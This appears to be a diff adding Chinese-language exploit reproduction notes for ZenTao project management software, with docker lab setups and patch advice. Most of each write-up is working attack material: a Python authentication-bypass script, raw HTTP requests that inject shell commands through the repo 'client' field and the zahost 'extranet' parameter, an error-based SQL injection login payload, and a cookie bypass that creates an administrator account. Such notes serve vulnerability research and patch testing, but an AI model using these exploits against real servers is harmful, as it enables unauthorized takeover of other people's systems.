杭州易软共创网络科技有限公司 禅道项目管理系统 >=7.4<=8.0.beta1企业版
杭州易软共创网络科技有限公司 禅道项目管理系统 >=3.4<=4.0.beta1旗舰版
```
## 漏洞复现
权限绕过:
```
import requests
header={
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5408.146 Safari/537.36',
}
def bypasscookie(url,session):
target=url+"/index.php?m=misc&f=captcha&sessionVar=user"
r=session.get(target,headers=header)
zentaosid=r.cookies.get_dict()['zentaosid']
print(zentaosid)
header["Cookie"]="zentaosid="+zentaosid
resp=session.get(url+"/index.php?m=my&f=index",headers=header)
if "/shandao/www/index.php?m=user&f=login" not in resp.text:
print("绕过登陆验证")
else:
print("无法绕过验证")
if __name__ == '__main__':
url="http://127.0.0.1:8081/shandao/www/"
session=requests.Session()
bypasscookie(url,session)
```
后台RCE
先创建Gitlab代码库,拿到repoID
```
POST /shandao/www/index.php?m=repo&f=create&objectID=0&tid=rmqcl0ss HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8081/shandao/www/index.php?m=repo&f=create&objectID=0&tid=rmqcl0ss
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 144
Origin: http://127.0.0.1:8081
Connection: close
Cookie: lang=zh-cn; device=desktop; theme=default; tab=devops; preCaseLibID=1; lastCaseLib=1; checkedItem=; goback=%7B%22devops%22%3A%22http%3A%5C%2F%5C%2F127.0.0.1%3A8081%5C%2Fshandao%5C%2Fwww%5C%2Findex.php%3Fm%3Drepo%26f%3Dbrowse%26repoID%3D1%26branchID%3D%26objectID%3D0%26tid%3Dvwy3ton6%22%7D; zentaosid=r3094u5448167shtdrur4c7b6q; repoBranch=master; windowWidth=1453; windowHeight=844
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
product%5B%5D=1&SCM=Gitlab&serviceProject=wangnima&name=wangnima2333&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid=63e4a18218a68
```
创建好后,去到
http://127.0.0.1:8081/shandao/www/index.php?m=repo&f=maintain&tid=rmqcl0ss查看repoID并进入编辑
```
POST /shandao/www/index.php?m=repo&f=edit&repoID=8&objectID=0&tid=rmqcl0ss HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8081/shandao/www/index.php?m=repo&f=edit&repoID=8&objectID=0&tid=rmqcl0ss
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 222
Origin: http://127.0.0.1:8081
Connection: close
Cookie: lang=zh-cn; device=desktop; theme=default; tab=devops; preCaseLibID=1; lastCaseLib=1; checkedItem=; goback=%7B%22devops%22%3A%22http%3A%5C%2F%5C%2F127.0.0.1%3A8081%5C%2Fshandao%5C%2Fwww%5C%2Findex.php%3Fm%3Drepo%26f%3Dbrowse%26repoID%3D1%26branchID%3D%26objectID%3D0%26tid%3Dvwy3ton6%22%7D; zentaosid=r3094u5448167shtdrur4c7b6q; repoBranch=master; windowWidth=1453; windowHeight=844
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
product%5B%5D=1&SCM=Subversion&serviceHost=&name=wangnima2333&path=http%3A%2F%2F123.4.5.6&encoding=utf-8&client=%60open+%2FSystem%2FApplications%2FCalculator.app%60&account=&password=&encrypt=base64&desc=&uid=63e4a26b5fd65
```
## 漏洞修复
1. 进行官方升级https://www.zentao.net/book/zentaoprohelp/41.html
2. 安全产品升级:部分厂商安全产品具备识别该漏洞功能,进行版本升级至最新版。
3. 临时防护措施:可在 module/common/model.php 文件中 echo $endResponseException->getContent();后面加上 exit(); 来修复权限绕过漏洞。

Binary file not shown.

After

Width:  |  Height:  |  Size: 308 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 517 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 178 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 276 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 513 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 78 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 633 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 620 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 506 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 512 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 160 KiB

View File

@ -0,0 +1,107 @@
# 禅道 misc-captcha-user.html 权限绕过&命令执行漏洞 CNVD-2023-02709
## 漏洞描述
禅道项目管理系统存在远程命令执行漏洞,该漏洞源于在认证过程中未正确退出程序,导致认证绕过,并且后台中有多种执⾏命令的⽅式,攻击者可利用该漏洞在目标服务器上注入任意命令,实现未授权接管服务器。
参考链接:
- https://www.zentao.net/book/zentaoprohelp/41.html
- https://www.zentao.net/book/zentaopms/405.html
## 漏洞影响
```
禅道 >=17.4<=18.0.beta1开源版
禅道 >=7.4<=8.0.beta1企业版
禅道 >=3.4<=4.0.beta1旗舰版
```
## 环境搭建
[源码安装](https://github.com/easysoft/zentaopms/archive/refs/tags/zentaopms_18.0.beta1.zip),或执行如下命令启动一个禅道 18.0.beta1 服务器:
```
docker compose up -d
```
docker-compose.yml
```
services:
zentao:
image: easysoft/zentao:18.0.beta1
ports:
- "8084:80"
environment:
- MYSQL_INTERNAL=true
volumes:
- /data/zentao:/data
```
服务启动后,访问 `http://your-ip:8084` 即可查看到安装页面,默认配置安装直至完成,数据库默认账号密码为 `root/123456`
![](images/禅道%20misc-captcha-user.html%20权限绕过&命令执行漏洞%20CNVD-2023-02709/image-20250407085551929.png)
![](images/禅道%20misc-captcha-user.html%20权限绕过&命令执行漏洞%20CNVD-2023-02709/image-20250407101758458.png)
## 漏洞复现
查看版本号:
```
http://your-ip:8084/?mode=getconfig
-----
{"version":"18.0.beta1","requestType":"PATH_INFO","requestFix":"-","moduleVar":"m","methodVar":"f","viewVar":"t","sessionVar":"zentaosid","systemMode":"ALM","sprintConcept":"0","URAndSR":"0","maxUploadSize":"50M","sessionName":"zentaosid","sessionID":"k6s9ogaog0hv3b8jjg1vqr6ll4","random":503,"expiredTime":"1440","serverTime":1743992417,"rand":503}
```
![](images/禅道%20misc-captcha-user.html%20权限绕过&命令执行漏洞%20CNVD-2023-02709/image-20250407102034668.png)
请求 `http://your-ip:8084/misc-captcha-user.html` ,在 `Set-Cookie` 中获取 `zentaosid`
创建并制定仓库为 GItlab
```
POST /repo-create.html HTTP/1.1
Host: your-ip:8084
Cookie: zentaosid=69ld7c5h6n02k7i4iumt346den; lang=zh-cn; device=desktop; theme=default
Referer: http://your-ip:8084/index.php?m=user&f=login&referer=L2luZGV4LnBocD9tPXJlcG8mZj1jcmVhdGUmX3NpbmdsZT0xMjM=
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5408.146 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 154
product%5B%5D=1&SCM=Gitlab&name=poc&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid=
```
![](images/禅道%20misc-captcha-user.html%20权限绕过&命令执行漏洞%20CNVD-2023-02709/image-20250407102230251.png)
命令执行:
```
POST /repo-edit-10000-10000.html HTTP/1.1
Host: your-ip:8084
Content-Type: application/x-www-form-urlencoded
Cookie: zentaosid=69ld7c5h6n02k7i4iumt346den; lang=zh-cn; device=desktop; theme=default
Referer: http://your-ip:8084/index.php?m=user&f=login&referer=L2luZGV4LnBocD9tPXJlcG8mZj1jcmVhdGUmX3NpbmdsZT0xMjM=
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5408.146 Safari/537.36
Content-Length: 112
SCM=Subversion&client=`id`
```
![](images/禅道%20misc-captcha-user.html%20权限绕过&命令执行漏洞%20CNVD-2023-02709/image-20250407102450815.png)
## 漏洞修复
[升级]() 至安全版本:
- 开源版升级至 18.0.beta2 及以上版本;
- 企业版升级至 8.0.bate2 及以上版本;
- 旗舰版升级至 4.0.bate2 及以上版本。
临时防护措施:
- 可在 `module/common/model.php` 文件中 `echo $endResponseException->getContent();` 后面加上 `exit();` 来修复权限绕过漏洞

View File

@ -0,0 +1,75 @@
# 禅道 v16.5 前台 SQL 注入 CNVD-2022-42853
## 漏洞描述
禅道项目管理系统 v16.5 版本未对输入的 account 参数内容作过滤校验,导致攻击者拼接恶意 SQL 语句执行。
参考链接:
- https://www.zentao.net/book/zentaoprohelp/41.html
- https://www.zentao.net/book/zentaopms/405.html
## 漏洞影响
```
禅道 16.516.5beta1(开源版)
禅道 6.56.5beta1(企业版)
禅道 3.03.0beta1(旗舰版)
```
## 环境搭建
执行如下命令启动一个禅道 16.5 服务器:
```
docker compose up -d
```
docker-compose.yml
```
services:
zentao:
image: easysoft/zentao:16.5
ports:
- "8084:80"
environment:
- MYSQL_INTERNAL=true
volumes:
- /data/zentao:/data
```
服务启动后,访问 `http://your-ip:8084` 即可查看到安装页面,默认配置安装直至完成,数据库默认账号密码为 `root/123456`
![](images/禅道%20v16.5%20前台%20SQL%20注入%20CNVD-2022-42853/image-20250407103609801.png)
## 漏洞复现
报错型注入 payload
```
admin' AND updatexml(1, concat(0x7e, (SELECT version()), 0x7e), 1) AND '1'='1
```
poc
```
POST /user-login.html HTTP/1.1
Host: your-ip:8084
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Origin: http://your-ip:8084
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://your-ip:8084/index.php
Content-Length: 92
account=admin%27+AND+updatexml%281%2C+concat%280x7e%2C+%28SELECT+version%28%29%29%2C+0x7e%29%2C+1%29+AND+%271%27%3D%271
```
![](images/禅道%20v16.5%20前台%20SQL%20注入%20CNVD-2022-42853/image-20250407104608600.png)
## 漏洞修复
升级至最新版本 https://www.zentao.net/

View File

@ -0,0 +1,75 @@
# 禅道 zahost-create.html 后台命令执行漏洞
## 漏洞描述
禅道项目管理系统 v18.0-v18.3 版本 `module/zahost/model.php` 中,`ping` 函数未对传入参数 `$address` 进行校验,导致后台命令执行。
参考链接:
- https://www.zentao.net/book/zentaoprohelp/41.html
- https://www.zentao.net/book/zentaopms/405.html
## 漏洞影响
```
禅道 >=18.0<=18.3(开源版)
```
## 环境搭建
执行如下命令启动一个禅道 18.0 服务器:
```
docker compose up -d
```
docker-compose.yml
```
services:
zentao:
image: easysoft/zentao:18.0
ports:
- "8084:80"
environment:
- MYSQL_INTERNAL=true
volumes:
- /data/zentao:/data
```
服务启动后,访问 `http://your-ip:8084` 即可查看到安装页面,默认配置安装直至完成,数据库默认账号密码为 `root/123456`
## 漏洞复现
使用安装时配置的账号密码登录系统,点击 `测试 → 宿主机`,添加一个宿主机:
![](images/禅道%20zahost-create.html%20后台命令执行漏洞/image-20250407113416776.png)
![](images/禅道%20zahost-create.html%20后台命令执行漏洞/image-20250407113543730.png)
抓包,修改 extranet 参数,拼接命令,执行 `touch /tmp/awesome_poc`
```
POST /zahost-create.html HTTP/1.1
Host: your-ip:8084
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://your-ip:8084
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://your-ip:8084/zahost-create.html
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Cookie:
Content-Length: 120
vsoft=kvm&hostType=physical&name=poc&extranet=127.0.0.1|touch%20/tmp/awesome_poc&cpuCores=2&memory=2&diskSize=20&desc=&uid=67f347db724c1&type=za
```
![](images/禅道%20zahost-create.html%20后台命令执行漏洞/image-20250407114109214.png)
![](images/禅道%20zahost-create.html%20后台命令执行漏洞/image-20250407114454097.png)
## 漏洞修复
升级至最新版本 https://www.zentao.net/

View File

@ -0,0 +1,120 @@
# 禅道 zentaosid cookie 身份认证绕过漏洞
## 漏洞描述
禅道项目管理系统存在身份认证绕过漏洞,远程攻击者利用该漏洞可以绕过身份认证,调用任意 API 接口创建用户或修改管理员用户的密码,以管理员用户登录该系统,进而接管服务器。
参考链接:
- https://www.zentao.net/book/zentaoprohelp/41.html
- https://www.zentao.net/book/zentaopms/405.html
## 漏洞影响
```
16.x <= 禅道 < 18.12开源版
6.x <= 禅道 < 8.12企业版
3.x <= 禅道 < 4.12旗舰版
```
## 环境搭建
执行如下命令启动一个禅道 18.5 服务器:
```
docker compose up -d
```
docker-compose.yml
```
services:
zentao:
image: easysoft/zentao:18.5
ports:
- "8084:80"
environment:
- MYSQL_INTERNAL=true
volumes:
- /data/zentao:/data
```
服务启动后,访问 `http://your-ip:8084` 即可查看到安装页面,默认配置安装直至完成,数据库默认账号密码为 `root/123456`
## 漏洞复现
```
POST /api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=upkbbehwgfscwizoglpw&branch=zqbcsfncxlpopmrvchsu HTTP/1.1
Host: your-ip:8084
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Length: 11
fields=true
```
![](images/禅道%20zentaosid%20cookie%20身份认证绕过漏洞/image-20250407140408978.png)
未添加 `zentaosid` 时,访问 `/api.php/v1/users` 提示 `{"error":"Unauthorized"}`
```
GET /api.php/v1/users HTTP/1.1
Host: your-ip:8084
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Length: 11
```
![](images/禅道%20zentaosid%20cookie%20身份认证绕过漏洞/image-20250407140530510.png)
添加 `zentaosid` 绕过认证:
```
GET /api.php/v1/users HTTP/1.1
Host: your-ip:8084
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cookie: zentaosid=bdfda9cd81c43017703931d473ccca98;
Content-Length: 11
```
![](images/禅道%20zentaosid%20cookie%20身份认证绕过漏洞/image-20250407140639400.png)
通过该漏洞添加用户:
```
POST /api.php/v1/users HTTP/1.1
Host: your-ip:8084
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cookie: zentaosid=93441fc0301811a03ad2285ae52e9591;
Content-Length: 11
{
"account":"threeki",
"password":"thr33..",
"realname":"threeki",
"role":"top",
"group":"1"
}
```
![](images/禅道%20zentaosid%20cookie%20身份认证绕过漏洞/image-20250407140215609.png)
使用添加的账号 `threeki/thr33..` 成功登录:
![](images/禅道%20zentaosid%20cookie%20身份认证绕过漏洞/image-20250407140843200.png)
## 漏洞修复
升级至最新版本 https://www.zentao.net/

View File

@ -0,0 +1,9 @@
services:
zentao:
image: easysoft/zentao:16.5
ports:
- "8084:80"
environment:
- MYSQL_INTERNAL=true
volumes:
- /data/zentao:/data

View File

@ -0,0 +1,9 @@
services:
zentao:
image: easysoft/zentao:18.0.beta1
ports:
- "8084:80"
environment:
- MYSQL_INTERNAL=true
volumes:
- /data/zentao:/data

View File

@ -0,0 +1,9 @@
services:
zentao:
image: easysoft/zentao:18.0
ports:
- "8084:80"
environment:
- MYSQL_INTERNAL=true
volumes:
- /data/zentao:/data

View File

@ -0,0 +1,9 @@
services:
zentao:
image: easysoft/zentao:18.5
ports:
- "8084:80"
environment:
- MYSQL_INTERNAL=true
volumes:
- /data/zentao:/data